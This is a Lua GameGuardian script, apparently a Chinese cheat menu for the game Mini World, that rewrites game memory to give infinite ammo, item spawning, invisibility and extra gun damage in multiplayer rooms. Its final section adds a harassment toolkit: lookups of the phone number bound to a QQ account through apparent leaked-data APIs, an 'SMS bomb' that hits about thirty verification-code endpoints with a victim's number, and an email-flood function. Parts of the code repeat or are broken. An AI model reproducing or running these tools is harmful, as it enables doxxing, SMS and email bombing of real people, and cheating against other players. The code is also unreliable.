lde.qb()table.remove(bc,#bc)table.remove(bc,#bc)end function bv(a,b) if not b then b=","end if not tostring(a):find(b)then return{a}end local tab={}local i=0 while true do j=string.find(a,b,i+1) if not j then table.insert(tab,a:sub(i+1,#a)) break end table.insert(tab,a:sub(i+1,j-1)) i=j end return tab end lde={} lde.gre,lde.sbr,lde.srg,lde.crs=gg.getResults,gg.searchNumber,gg.setRanges,gg.clearResults function bv(a,b) if not b then b=","end if not tostring(a):find(b)then return{a}end local tab={}local i=0 while true do j=string.find(a,b,i+1) if not j then table.insert(tab,a:sub(i+1,#a)) break end table.insert(tab,a:sub(i+1,j-1)) i=j end return tab end function so(a,b,c) local csn=gg.getRanges() lde.srg(a[3]) lde.crs() lde.sbr(a[2],a[4]) local js=gg.getResultCount() local count=lde.gre(js) lde.crs() if #count~=0 then local lode,lope,lobe={},{},{} for p=1,#b do lode[p]={} for i=1,#count do lode[p][i]={} lode[p][i].address=count[i].address+b[p][2] if not b[p][3] then b[p][3]=a[4] end lode[p][i].flags=b[p][3] end lode[p]=gg.getValues(lode[p]) db=bv(b[p][1],"~") if not db[2] then db[2]=db[1] end for i=1,#lode[p] do if tonumber(lode[p][i].value)>=tonumber(db[1]) and tonumber(lode[p][i].value)<=tonumber(db[2]) then lope[#lope+1]={} lope[#lope]=count[i] end end if #lope==0 then lde.srg(csn) if p>11 then p=11 end return a[1].."开启失败" end count=lope lope={} end for i=1,#c do for n=1,#count do lope[#lope+1]={} lope[#lope].address=count[n].address+c[i][2] if not c[i][3] then c[i][3]=a[4] end lope[#lope].flags=c[i][3] if c[i][1] then lope[#lope].value=c[i][1] else lope[#lope].value=gg.getValues(lope)[#lope].value end if c[i][4] then lobe[#lobe+1]={} lobe[#lobe]=lope[#lope] table.remove(lope,#lope) end if c[i][4]==1 then lobe[#lobe].freeze=true else if c[i][4]==2 then lobe[#lobe].freeze=false end end if c[i][5] then lobe[#lobe].name=c[i][5] end end end gg.setValues(lope) gg.addListItems(lobe) lde.srg(csn) return a[1].."开启成功" else lde.srg(csn) return a[1].."开启失败" end end function hqmz(a) local b='' for i=1,999 do local c=gg.getValues({{address=a+(i-1)*1,flags=1}})[1].value if c==0 then break end b=b..string.char(c<0 and 256+c or c) end if b=='' then local b else return b end end function xe(name,offset,i) local re=gg.getRangesList(name) local x64=gg.getTargetInfo().x64 local va={[true]=32,[false]=4} if re[i or 1] then local addr=re[i or 1].start+offset[1] for i=2,#offset do addr=gg.getValues({{address=addr,flags=va[x64]}}) if not x64 then addr[1].value=addr[1].value&0xFFFFFFFF end addr=addr[1].value+offset[i] end return addr end end function gg.edits(addr,Table,name) local Table1={{},{}} for k,v in ipairs(Table) do local value={address=addr+v[3],value=v[1],flags=v[2],freeze=v[4]} if v[4] then Table1[2][#Table1[2]+1]=value else Table1[1][#Table1[1]+1]=value end end gg.addListItems(Table1[2]) gg.setValues(Table1[1]) gg.toast((name or "") .. "开启成功, 共修改"..#Table.."个值") end function gg.edits(addr,Table,name) local Table1 = {{}, {}} for k, v in ipairs(Table) do local value={address=addr+v[3],value=v[1],flags=v[2],freeze=v[4]}if v[4] then Table1[2][#Table1[2]+1]=value else Table1[1][#Table1[1]+1]=value end end gg.addListItems(Table1[2])gg.setValues(Table1[1]) gg.toast((name or "") .. "开启成功") end function readValue(read) local bf={} for i,v in ipairs(read) do bf[i]={address=v[1],flags=v[2]} end bf=gg.getValues(bf) for i=1,#bf do bf[i]=bf[i].value end return bf end local sod,so_bss,xdd='libAppPlayJNI.so','libAppPlayJNI.so:bss',gg.getRangesList("libAppPlayJNI.so:bss") function gg.Hjkl(value) local GT=gg.getListItems() local t={} for i,v in pairs(GT) do if v.value==value then table.insert(t,v) end end gg.removeListItems(t) end --算法写法 local so_bss='liblibGameApp.so:bss' RE={ {0x6C3940, 0x368, 0xC0},--[跳高]1 {0x6C3940, 0x350, 0x84},--[连跳]2 {0x846A40, 0x430, 0x770},--[重力]3 {0x6C3940, 0x350, 0xC0},--[Z]4 {0x6C3940, 0x350, 0x118},--[视角坐标]5 {0x3BBAB8, 0xC0},--[模式]6 {0xE428, 0x880},--[房间模式]7 {0x35E0, 0x4B4},--[速度]8 {0x6C3940, 0x278, 0x6FC},--[人物技能]9 {0x6C3940, 0x350, 0xBC},--[X]10 {0x6C3940, 0x350, 0xC4},--[Y]11 {0x41F40, 0xE8, 0x548},--[外盘]12 {0x791210, 0x410, 0x194},--[内盘]13 {0x6FA8, 0x0, 0x5A0, 0x4E0},--[旋转]14 {0x6FA8, 0x0, 0x5A0, 0x4E8},--[头旋转]15 {0x6C3940, 0x580},--[人物状态模式]16 {0x660DB0, 0x6F8, 0x748, 0x6AC},--[秒挖方块]17 {0x399870, 0x38, 0xC},--[视角]18 {0x69BB0, 0x2C0, 0x5E0},--[飞行速度]19 {0x54D38, 0x2E0, 0x1D0, 0x1C8},--[距离]20 {0x6C3940, 0x4B0, 0x760},--[攻击状态]21 {0x6C3940, 0x6E0}--[对准数据]22 } function xqmnb(Search,Modification) gg.clearResults() gg.setRanges(Search[1].memory) gg.searchNumber(Search[3].value,Search[3].type,false,536870912,0,-1) if gg.getResultCount()==0 then gg.toast(Search[2].name..'开启失败') return end local Result=gg.getResults(gg.getResultCount()) local sum for index=4,#Search do sum=0 for i=1,#Result do if gg.getValues({{address=Result[i].address+Search[index].offset,flags=Search[index].type}})[1].value~=Search[index].lv then Result[i].Usable=true sum=sum+1 end end if sum==#Result then gg.toast(Search[2].name..'开启失败') return end end local Data,Freeze,Freezes={},{},0 sum=0 for index,value in ipairs(Modification)do for index=1,#Result do if not Result[index].Usable then local Value={address=Result[index].address+value.offset,flags=value.type,value=value.value,freeze=true} if value.freeze then Freeze[#Freeze+1]=Value Freezes=Freezes+1 else Data[#Data+1]=Value end sum=sum+1 end end end gg.setValues(Data) gg.addListItems(Freeze) if Freezes==0 then gg.toast(Search[2].name..'开启成功,共修改'..sum..'条数据') else gg.toast(Search[2].name..'开启成功,共修改'..sum..'条数据,冻结'..Freezes..'条数据') end gg.clearResults() end ---------------你既然都能开elgg的加密你是真正的神--------------- bqt={"","","","","","","️","","","","","","","","","","",} function Main() local sjbq= bqt[math.random(1,#bqt)]SY = gg.choice({ sjbq.."🧊房主功能🧊"..sjbq, sjbq.."🧊联机功能🧊"..sjbq, sjbq.."🧊音乐功能🧊"..sjbq, sjbq.."🧊退出辅助🧊"..sjbq, },2024,os.date("🧊作者:MINGR🧊\n🧊当前版本:v2.0🧊\n🧊公告:更新全局枪械伤害5,修复不能开功能,删除报废无限连跳,更新创造背包,修复获取版本🧊\n🧊特殊公告:适配最新版迷你世界🧊\n🧊当前迷你世界版本:1.37.1🧊")) if SY == 1 then A() end if SY == 2 then B() end if SY == 3 then C() end if SY == 4 then Exit() end FX1=0 end function A() SN = gg.multiChoice({ "🧊颜色换物🧊", "🧊乐谱取物🧊", "🧊全局加速🧊", "🧊全局变慢🧊", "🧊全局枪械伤害5🧊", "返回主页", }, nil, "房主功能") if SN == nil then else if SN[1]==true then a1() end if SN[2]==true then a2() end if SN[3]==true then a3() end if SN[4]==true then a4() end if SN[5]==true then a5() end if SN[6]==true then a6() end end FX=0 end function a1() ljqw = gg.prompt({"输入你要取的物品的代码"},{[1]=10500},{[1]="number"})[1]gg.toast(so({"联机取物第一步",4648779142702039040,4,32},{{1082310656,0x14,4}},{{ljqw,-0x10,64,1}}))ljqw = gg.prompt({"输入你要取的物品的代码"},{[1]=10500},{[1]="number"})[1] end function a2() local qmnb= { {['memory']=4}, {['name']='乐谱取物'}, {['value']=11910, ['type']=4}, {['lv']=11910,['offset']=0, ['type']=4}, } local qmxg= { {['value']=15056,['offset']=0,['type']=4}, } xqmnb(qmnb,qmxg) end function a3() gg.processResume() gg.setSpeed(1.0) gg.setSpeed(1.2) gg.setSpeed(1.3) gg.setSpeed(1.5) gg.setSpeed(2.0) gg.setSpeed(3.0) gg.setSpeed(4.0) gg.setSpeed(5.0) gg.setSpeed(6.0) gg.setSpeed(9.0) gg.setSpeed(12.0) gg.setSpeed(15.0) gg.setSpeed(20.0) gg.setSpeed(30.0) gg.setSpeed(60.0) gg.setSpeed(120.0) gg.setSpeed(180.0) gg.setSpeed(300.0) gg.setSpeed(600.0) gg.setSpeed(1200.0) gg.setSpeed(2400.0) gg.setSpeed(0.01) end function a4() gg.processResume() gg.setSpeed(1.0) gg.setSpeed(1.2) gg.setSpeed(1.3) gg.setSpeed(1.5) gg.setSpeed(2.0) gg.setSpeed(3.0) gg.setSpeed(4.0) gg.setSpeed(5.0) gg.setSpeed(6.0) gg.setSpeed(9.0) gg.setSpeed(12.0) gg.setSpeed(15.0) gg.setSpeed(20.0) gg.setSpeed(30.0) gg.setSpeed(60.0) gg.setSpeed(120.0) gg.setSpeed(180.0) gg.setSpeed(300.0) gg.setSpeed(600.0) gg.setSpeed(1200.0) gg.setSpeed(2400.0) gg.setSpeed(0.1) end function a5() local qmnb= { {['memory']=4}, {['name']='全局枪械伤害5'}, {['value']=15003, ['type']=4}, {['lv']=15003,['offset']=0, ['type']=4}, } local qmxg= { {['value']=12249,['offset']=0,['type']=4}, } xqmnb(qmnb,qmxg) end function B() SN = gg.multiChoice({ "🧊无限子弹6🧊",--1 "🧊无限子弹300🧊",--2 "🧊创造背包🧊",--3 "🧊危险品解禁🧊",--4 "🧊飞天按钮🧊",--7 "🧊虚空幻影三件套🧊",--9 "🧊杂物破坏方块🧊",--10 "🧊子弹加速🧊",--11 "🧊编辑器填充炸弹🧊",--12 "🧊无限物品🧊" ,--13 "🧊全格无限物品🧊" ,--11 "🧊喷漆改琵琶🧊",--8 "🧊编辑器填充污染核心🧊",--12 "🧊人物隐身🧊",--12 "返回主页" , }, nil, "联机功能") if SN == nil then else if SN[1]==true then b1() end if SN[2]==true then b2() end if SN[3]==true then b3() end if SN[4]==true then b4() end if SN[5]==true then b5() end if SN[6]==true then b6() end if SN[7]==true then b7() end if SN[8]==true then b8() end if SN[9]==true then b9() end if SN[10]==true then b10() end if SN[11]==true then b11() end if SN[12]==true then b12() end if SN[13]==true then b13() end if SN[14]==true then b14() end if SN[15]==true then b15() end end FX=0 end -----------联机功能 function b1() gg.alert([[ 确保狙击枪是6发子弹 ]]) gg.searchNumber("6", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)--搜索量" gg.processResume() gg.alert([[ 确保狙击枪是5发子弹 ]]) gg.refineNumber("5", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)--移动量" gg.processResume() gg.refineNumber("5", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)--移动量" gg.processResume() gg.refineNumber("5", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)--移动量" gg.processResume() revert = gg.getResults(10000, nil, nil, nil, nil, nil, nil, nil, nil) gg.editAll("114514", gg.TYPE_DWORD) revert = gg.getResults(10000, nil, nil, nil, nil, nil, nil, nil, nil)--修改量" gg.editAll("114514", gg.TYPE_DWORD) revert = gg.getResults(10000, nil, nil, nil, nil, nil, nil, nil, nil)--修改量" gg.editAll("114514", gg.TYPE_DWORD) revert = gg.getResults(10000, nil, nil, nil, nil, nil, nil, nil, nil)--修改量" gg.editAll("114514", gg.TYPE_DWORD)--退出值" gg.clearResults()--退出值 gg.toast("开启成功")--结束 end function b2() gg.alert([[ 确保狙击枪是300发子弹 ]]) gg.searchNumber("300", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)--搜索量" gg.processResume() gg.alert([[ 确保狙击枪是299发子弹 ]]) gg.refineNumber("299", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)--移动量" gg.processResume() gg.refineNumber("299", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)--移动量" gg.processResume() gg.refineNumber("299", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)--移动量" gg.processResume() revert = gg.getResults(10000, nil, nil, nil, nil, nil, nil, nil, nil) gg.editAll("114514", gg.TYPE_DWORD) revert = gg.getResults(10000, nil, nil, nil, nil, nil, nil, nil, nil)--修改量" gg.editAll("114514", gg.TYPE_DWORD) revert = gg.getResults(10000, nil, nil, nil, nil, nil, nil, nil, nil)--修改量" gg.editAll("114514", gg.TYPE_DWORD) revert = gg.getResults(10000, nil, nil, nil, nil, nil, nil, nil, nil)--修改量" gg.editAll("114514", gg.TYPE_DWORD)--退出值" gg.clearResults()--退出值 gg.toast("开启成功")--结束 end function b3() z=gg.alert("首先背包里要有喷漆[没有开启后重拿就行了]点开背包那里会有一个转创造的按钮,开启后就可以拿物品了,仅限房主","好的👌") local qmnb= { {['memory']=4}, {['name']='创造背包'}, {['value']=12239, ['type']=4}, {['lv']=12239,['offset']=0, ['type']=4}, } local qmxg= { {['value']=114514,['offset']=0,['type']=4}, } xqmnb(qmnb,qmxg) end function b4() local qmnb= { {['memory']=4}, {['name']='解除禁用危险品'}, {['value']=10500, ['type']=4}, {['lv']=10500,['offset']=0, ['type']=4}, } local qmxg= { {['value']=114514,['offset']=0,['type']=4}, } xqmnb(qmnb,qmxg) end function b5() gg.toast(so({"飞行按钮",-4380876534276161536,4,32},{{1099511627777,56,32}},{{257,60,4,1}})) gg.toast("飞行按钮开启成功") end function b6() local qmnb= { {['memory']=4}, {['name']='幻影第1步'}, {['value']=11215, ['type']=4}, {['lv']=11215,['offset']=0, ['type']=4}, } local qmxg= { {['value']=140,['offset']=0,['type']=4}, } xqmnb(qmnb,qmxg) local qmnb= { {['memory']=4}, {['name']='幻影第2步'}, {['value']=11216, ['type']=4}, {['lv']=11216,['offset']=0, ['type']=4}, } local qmxg= { {['value']=141,['offset']=0,['type']=4}, } xqmnb(qmnb,qmxg) local qmnb= { {['memory']=4}, {['name']='幻影第3步'}, {['value']=11233, ['type']=4}, {['lv']=11233,['offset']=0, ['type']=4}, } local qmxg= { {['value']=142,['offset']=0,['type']=4}, } xqmnb(qmnb,qmxg) end function b7() local qmnb= { {['memory']=4}, {['name']='[杂物]破坏方块'}, {['value']=12709, ['type']=4}, {['lv']=12709,['offset']=0, ['type']=4}, } local qmxg= { {['value']=11551,['offset']=0,['type']=4}, } xqmnb(qmnb,qmxg) end function b8() gg.searchNumber("15004;15003;2;100", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0) gg.processResume() gg.refineNumber("2", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0) revert = gg.getResults(100, nil, nil, nil, nil, nil, nil, nil, nil) gg.editAll("1", gg.TYPE_DWORD) gg.processResume() gg.toast("子弹加速开启成功") end function b9() local qmnb= { {['memory']=4}, {['name']='地形编辑器填充改炸弹'}, {['value']=104.0, ['type']=64}, {['lv']=104.0,['offset']=0, ['type']=64}, } local qmxg= { {['value']=835,['offset']=0,['type']=64}, } xqmnb(qmnb,qmxg) end function b10() local qmnb= { {['memory']=4}, {['name']='全格无限物品'}, {['value']=945804461, ['type']=4}, {['lv']=945804461,['offset']=0, ['type']=4}, } local qmxg= { {['value']=945804200,['offset']=0,['type']=4,['freeze']=true}, } xqmnb(qmnb,qmxg) end function b11() local qmnb= { {['memory']=4}, {['name']='全格无限物品'}, {['value']=945804461, ['type']=4}, {['lv']=945804461,['offset']=0, ['type']=4}, } local qmxg= { {['value']=945804200,['offset']=0,['type']=4,['freeze']=true}, } xqmnb(qmnb,qmxg) end function b12() local qmnb= { {['memory']=4}, {['name']='喷漆改琵琶'}, {['value']=12239, ['type']=4}, {['lv']=12239,['offset']=0, ['type']=4}, } local qmxg= { {['value']=11907,['offset']=0,['type']=4}, } xqmnb(qmnb,qmxg) end function b13() local qmnb= { {['memory']=4}, {['name']='地形编辑器填充改污染核心'}, {['value']=104.0, ['type']=64}, {['lv']=104.0,['offset']=0, ['type']=64}, } local qmxg= { {['value']=1049,['offset']=0,['type']=64}, } xqmnb(qmnb,qmxg) end function b14() gg.clearResults() gg.setRanges(262207) gg.searchNumber("773,094,113,340", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.searchNumber("773,094,113,340", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(100) gg.editAll("-4,186,217,621,233,364,896", gg.TYPE_QWORD) gg.toast("人物隐身开启成功[卡死正常]") end function C() SN = gg.multiChoice({ "风耀翔", "tmyl", "返回主页", }, nil, "") if SN == nil then else if SN[1]==true then c1() end if SN[2]==true then c2() end end FX=0 end function c1() gg.playMusic("https://cccimg.com/view.php/fb468b9780489f9d1108b91b5387667a.m4a") gg.toast("okp") end function c2() gg.playMusic("https://cccimg.com/view.php/be2f1867e0c8a491a48eae47e9b720db.ogg") gg.toast("ok") end function Exit() print("外挂辅助") gg.toast("下次再见!") os.exit() end while true do if gg.isVisible(true) then FX1 = nil gg.setVisible(false) end if FX1 == nil then Main() end end end function b() QQ=gg.alert([[ 迷你世界道具代码外链链接:https://cccimg.com/down.php/cd3090f5070f56e70ddbf313d77c4bad.txt,下载完成后再文件管理器的Download可找到 ]],'退出','','复制') if QQ == 3 then gg.copyText("https://cccimg.com/down.php/cd3090f5070f56e70ddbf313d77c4bad.txt") gg.toast("√复制完成√") end end function c() function Main() menu1 = gg.choice({ "🍎查q绑定🍎", "🍎手机号反查🍎", "🍎轰炸手机号🍎", "🍎轰炸qq邮箱🍎", "🍎手机号归属信息🍎", "🍎获取qq头像🍎", "🍎小艺同学🍎", }, nil, "这是你的宿命......也是我的宿命") if menu1 == 1 then ls1() end if menu1 == 2 then ls2() end if menu1 == 3 then ls3() end if menu1 == 4 then ls4() end if menu1 == 5 then ls5() end if menu1 == 6 then ls6() end if menu1 == 7 then ls7() end GLWW=-1 end function ls1() local musu=gg.prompt({"🎃输入QQ号即可查询🌕","🌚网址1","🌝网址2(即将关闭)" },{ [1]="", [2]=true, [3]=false },{ "number", "checkbox", "checkbox" }) if not musu then return nil else if musu[2]==true and musu[3]==true then gg.alert('⭐️两个网址,只能选择一个') return nil end if musu[2]==true then gg.toast("💫查询ing...",false) local xg=gg.makeRequest("http://yc52.net/qb-api.php?mod=cha&qq="..musu[1]).content if not xg then gg.alert('☀️你已拒绝网络申请,查询失败☀️') return end local jg=xg:match('mobile": "(.-)"') local qq=xg:match('"qq": "(.-)"') if jg==nil then gg.alert('🔥未查询到…库中并没有这个记录❄️','💨确定🌬') return nil end local yue=gg.alert('💦QQ号:'..qq..'\n\n💦手机号:'..jg,'🌊复制','🌪取消') if yue==1 then gg.copyText('[QQ号]:'..qq..' \n[手机号]:'..jg,false) end if yue==2 then return nil end end end if musu[3]==true then gg.toast("💧查询ing...",false) local xg2=gg.makeRequest("http://cxx.yun7.me/qqcx?qq="..musu[1]).content if not xg2 then gg.alert('🍎你已拒绝网络申请,查询失败🍊') return end -- status":200,"message":"查询成功","phone":"669","phonediqu":"河北保定 移动","lol":"没有找到","wb":"6134218","qqlm":"没有找到"} local jg2=xg2:match('phone":"(.-)"')--手机号 local qq1=xg2:match('phonediqu":"(.-)"')--号码归属地 local qq2=xg2:match('lol":"(.-)"')--LOL信息 local qq3=xg2:match('wb":"(.-)"')--微博信息 if jg2==nil then gg.alert('🥝未查询到…库中并没有这个记录🐶','🐥确定🐥') return nil end local yue=gg.alert('🥒QQ号:'..musu[1]..'\n\n🌽手机号:'..jg2..'\n\n🥜号码归属地:'..qq1..'\n\n🍞LOL信息:'..qq2..'\n\n🍳微博UID'..qq3,'🍟复制','🥙取消') if yue==1 then gg.copyText('QQ号:'..musu[1]..' \n 手机号:'..jg2..' \n号码归属地:'..qq1..' \n LOL信息:'..qq2..' \n微博UID:'..qq3,false) end if yue==2 then return nil end end end function ls2() local musu=gg.prompt({"🍭输入手机号即可反查🍭" },{ [1]="" },{ "number" }) if not musu then return nil else gg.toast("🍬查询ing...",false) local xg=gg.makeRequest("http://cxx.yun7.me/qqxc?phone="..musu[1]).content if not xg then gg.alert('🍇你已拒绝网络申请,查询失败🥤') return end --- {"status":200,"message":"查询成功","qq":"(.-)","phonediqu":"(.-)","lol":"(.-)",","qqlm":"没有找到"} local jg=xg:match('qq":"(.-)"')--qq号 local qq=xg:match('phonediqu":"(.-)"')--号码归属地 local qq1=xg:match('lol":"(.-)"')--LOL信息 local qq2=xg:match('wb":"(.-)"')--微博 if jg==nil then gg.alert('🥢未查询到…库中并没有这个记录🥡','🥌确定') return nil end local yue=gg.alert('🎿QQ号:'..jg..'\n\n⚾️号码归属地:'..qq..'\n\n⚽️LOL信息:'..qq1..'\n\n🏀微博UID'..qq2,'🏌复制','🏹取消') if yue==1 then gg.copyText('QQ号:'..jg..' \n 号码归属地:'..qq..' \n LOL信息:'..qq1..' \n微博UID'..qq2,false) end if yue==2 then return nil end end end function ls3() local A=gg.prompt({"💥输入您要轰炸的电话号码💥"},{""},{"number"}) if not A then return nil else local B=A[1] local C=gg.makeRequest("http://211.156.201.12:8088/youzheng//ems/security?phone="..B.."").content local C=gg.makeRequest("http://id.ifeng.com/api/simplesendmsg?mobile="..B.."&comefrom=7&auth=&msgtype=0").content local C=gg.makeRequest("http://srmemberapp.srgow.com/sys/captcha/"..B.."").content local C=gg.makeRequest("https://m.icbc.com.cn/WapDynamicSite/TouchPage/AppDownResponse.aspx?type=1&app_id=5&mobile_no="..B.."").content local C=gg.makeRequest("https://kfsbusiness.anjuke.com/weiliaoke/login/sendcode.json?ticket=&cid=&cv=5.6.0&app=i-ajk&udid2=85C1EEA5-6E6A-449B-BD5C-118EA0DFDDBB&phone="..B.."").content local C=gg.makeRequest("http://api.qingmang.me/v1/account.sendVerification?platform=console&token=&phone=%2B86"..B.."&code=10164337").content local C=gg.makeRequest("https://api.kqiu.cn/user/v1/sms/code?phoneNumber="..B.."").content local C=gg.makeRequest("http://prod.layadmin.cn/api/message/sendV2?app_id=1&version=1.4.0&channel_id=001&phone="..B.."").content local C=gg.makeRequest("http://121.36.193.131/api/v3.1/thirdpartyapi/aliyunmessageapi/SendVerifyMessage?phoneNumber=86"..B.."&type=1").content local C=gg.makeRequest("https://api.diebian.net/Get/GetVerificationSMS?PhoneNumber="..B.."").content local C=gg.makeRequest("https://tele.uos123.com/api/orders/orders/sendDxSmsCode?mobile="..B.."").content local C=gg.makeRequest("https://www.qxueyou.com/v3/learning/uc/login/mobile/captcha?mobilePhone="..B.."&product=qxueyou").content local C=gg.makeRequest("http://www.gkbbapp.com/Support/JsonNews.aspx?sendShortMessage=yes&Telephone="..B.."").content local C=gg.makeRequest("https://www.ajia.cn/api/sys/sendCaptchaNoUser?accountName="..B.."").content local C=gg.makeRequest("https://yi.yshoufa.com/usersystem/site/network/getNetworkPhoneCaptcha?phone="..B.."&networkId=").content local C=gg.makeRequest("http://dx.zy40.cn/dx/index.php?hm="..B.."").content local C=gg.makeRequest("http://www.edu-edu.com/cas/web/message/send?phone="..B.."").content local C=gg.makeRequest("http://id.ifeng.com/api/simplesendmsg?mobile="..B.."").content local C=gg.makeRequest("http://m.tk.cn/tkmobile/orderSentSmsServlet?mobile="..B.."").content local C=gg.makeRequest("https://pass.hujiang.com/v2/api/v1/sms/send?action=SendMsg&mobile="..B.."").content local C=gg.makeRequest("http://m.tk.cn/tkmobile/orderSentSmsServlet?mobile="..B.."&comefrom=7&auth=&msgtype=0").content local C=gg.makeRequest("https://api.wanwudezhi.com/module-user/api/v1/user/sendSmsCode?phone="..B.."").content local C=gg.makeRequest("https://sso-c.souche.com/loginApi/getCaptchaUrlByPhone.json?app=tangeche&phone="..B.."").content local C=gg.makeRequest("http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone="..B.."").content local C=gg.makeRequest("http://user.daojia.com/mobile/getcode?mobile="..B.."").content local C=gg.makeRequest("https://m.yiwise.com/apiPlatform/verificationCode/send?phoneNumber="..B.."").content local C=gg.makeRequest("http://slb-sport.vesal.cn/vesal-sport-prod/v1/app/member/getCode?tellAndEmail="..B.."").content local C=gg.makeRequest("http://cms.51fenmi.com/api/base/public/getCode?mobile="..B.."").content local C=gg.makeRequest("http://www.52gcc.com/bomb/index.php?hm="..B.."").content end end function ls4() local Feed=gg.prompt({"✈️收件人地址(邮箱)✈️","🚀邮箱主题🚀","🛸发件内容🛫","🏁轰炸次数🏁"},{"192898257@qq.com","劳资就轰炸你","劳资就轰炸你","1"},{"text","text","text","text"}) if not Feed then gg.toast("🎢取消发送!🎢",true) return nil end if Feed[1]~="" and Feed[2]~="" and Feed[3]~="" and Feed[4]~="" then gg.toast("🗽发送中ing...",true) for i=1,Feed[4] do xg=gg.makeRequest("https://simpleauth.cn/api/mail/api.php?address="..Feed[1].."&name="..Feed[2]..i.."&certno="..Feed[3]..i).content end if not xg then gg.alert("🕋发送失败!⌚️",'💿确定📀') end local jg=xg:match('"Code":"(.-)",') local jg2=xg:match('msg":"(.-)"') if jg =="1" then gg.alert(jg2,'🖱确定🖱') else gg.alert("🔫发送失败!🔫",'🔨确定🔨') return nil end else gg.alert("📡填写信息不完整!📡","🔋确定🔋") return nil end end function ls5() sjh=gg.prompt({"💡输入手机号即可查询💡"},{[1]=""},{"number"}) if sjh== nil then gg.toast("🔦取消选择默认初始化🔦") else gg.toast("🕯正在查询🕯") su1=gg.makeRequest("https://www.ip138.com/mobile.asp?mobile="..sjh[1].."&action=mobile").content:match("卡号归属地(.-)邮 编") dq=su1:match('span>(.-)&')--地区 dq1=su1:match(';(.-)<')--地区2 GSM=su1:match('型(.-)/s'):match("pan>(.-)<") su2=gg.makeRequest("https://jx.ip138.com/"..sjh[1].."/").content--凶吉 b=su2:match('邮政编码:(.-)') yb=b:match('

(.-)(.-)/td>'):match('>(.-)<')--区号 xj=su2:match('red">(.-)href'):match("a>(.-)<")--凶吉 QQ=("手机号:\n"..sjh[1].."\n凶吉:"..xj.."\n"..GSM.."\n定位:\n"..dq..dq1.."\n邮编:"..yb.."\n区号:"..qh) QQ1=gg.alert(QQ,"💎复制💎","💰返回💰") if QQ1==0 then Main() end if QQ1==1 then gg.copyText(QQ) gg.toast("🛡已复制🛡") end if QQ1==3 then Main() end end end function ls6() y=gg.prompt({"🐚请输入qq号🍎"},{},{"number"}) if y== nil then gg.toast("🔦取消选择默认初始化🔦") else gg.toast("🍥正在下载……🥘") ByXEY=gg.getFile():gsub('/[^/]+$','').."/"..y[1]..".jpg" YC1=gg.makeRequest("https://q.qlogo.cn/headimg_dl?dst_uin="..y[1].."&spec=100").content io.open(ByXEY,"w"):write(YC1) gg.alert("🍔已下载到:\n"..ByXEY) end end function ls7() OI = gg.prompt({"请输入聊天的对话 北海原创"},{"小爱同学"},{"text"}) LOL = gg.makeRequest("https://jintia.jintias.cn/api/xatx.php?msg="..OI[1]).content B=LOL:match('text":"(.-)"') gg.alert(B) a7() end function aa1() local zctij = gg.makeRequest("http://shequ.mini1.cn:8087/miniw/rent_server?s7=HPNfcoNwLK9UviLCsihJvmaGvXhBoXwSc4WivMVhZPxivGalHoN7LXhGa1fARTgqHwhIHPqwcm3Qp232NFO6Nm3QNG32rm3gNG3QNG3g9m3gym3QNGOxy2O6NF3QNmOxymOxp2aBvoNqv4fGy1Oxy4WGa4QSa1VXaiyGy4H7yjVXy7Wlp2ajL588sXYhyPy6y73FaPWxNmafZPqwc4WXy7dlNjOANjsiHo3fZ1flp4sGH4wjNj9jp5Hly1OqajRFNjR8p4r7HiajH7R8NFa7yTrhy4H7yjVXy7WlNFaqZP6hy4d7N1OiLi3Gc4WIN26ARiQlZPwSc4Wiv5QIa7flRiNJLPxfsTShrf6is7Lwc4W_&s7t=36929").content end function aa2() local zctij = gg.makeRequest("http://shequ.mini1.cn:8087/miniw/rent_server?s7=HPNfcoNwLK9UviLCsihJvmaGvXhBoXwSc4WivMVhZPxivGalHoN7LXhGa1fisK3FoXx8vPOhROO6ROdXR4YqROOMRORgROWMROOMROQQROWAROOMR4SlR4YXROOqR4SAR4S6RiqBsM3Bc4dly1YAy4yMyjdXH7Y7NiyANjyGy1H7y4V6RiNfZ5Q7Z1fGp43jyjgwa1gFRT9UvPOhy4H7yjVXN4WANFa8Lo9kcPyAa1rXa4NFHPyxN4WMN1YXy7H6a1YxH7Q8H7dAajHlRTyGL1fANjyGy1H7y4VXRT3UvjfAyjyfNmaXaodhym6f0jWiHogUZPrhymaEHPxTc4ViHXhqvT9Ge4q14Fa7NXOhyr__&s7t=7e83f").content end function aa3() local zctij = gg.makeRequest("http://shequ.mini1.cn:8087/miniw/rent_server?s7=HPNfcoNwLK9UviLCsihJvmaGvXhBoXwSc4WivMVhZPxivGa7L5Qfc4VisK3FoXx8vPOhROO6ROdXR4YqROOMRORgROWMROOMROQQROWAROOMR4SlR4YXROOqR4SAR4S6RiqBsM3Bc4WqNjyAyP9SN53Sp4VGN4HANjyGy1H7y4V6RiNfZ5Q7Z1qjy5QSaPr6aj3wRT9UvPOhy4H7yjVXN1HMyma8Lo9kc48jHXdXyXy7pPHXajylyX3iy1Wfa53FN7d7aPy6NPRSRTyGL1fANjyGy1H7y4VXRT3UvjfAyjyfNmaXaodhym6f0jWiHogUZPrhymaEHPxTc4ViHXhqvT9Ge4q14Fa7NXOhyr__&s7t=e2302").content end function aa4() local zctij = 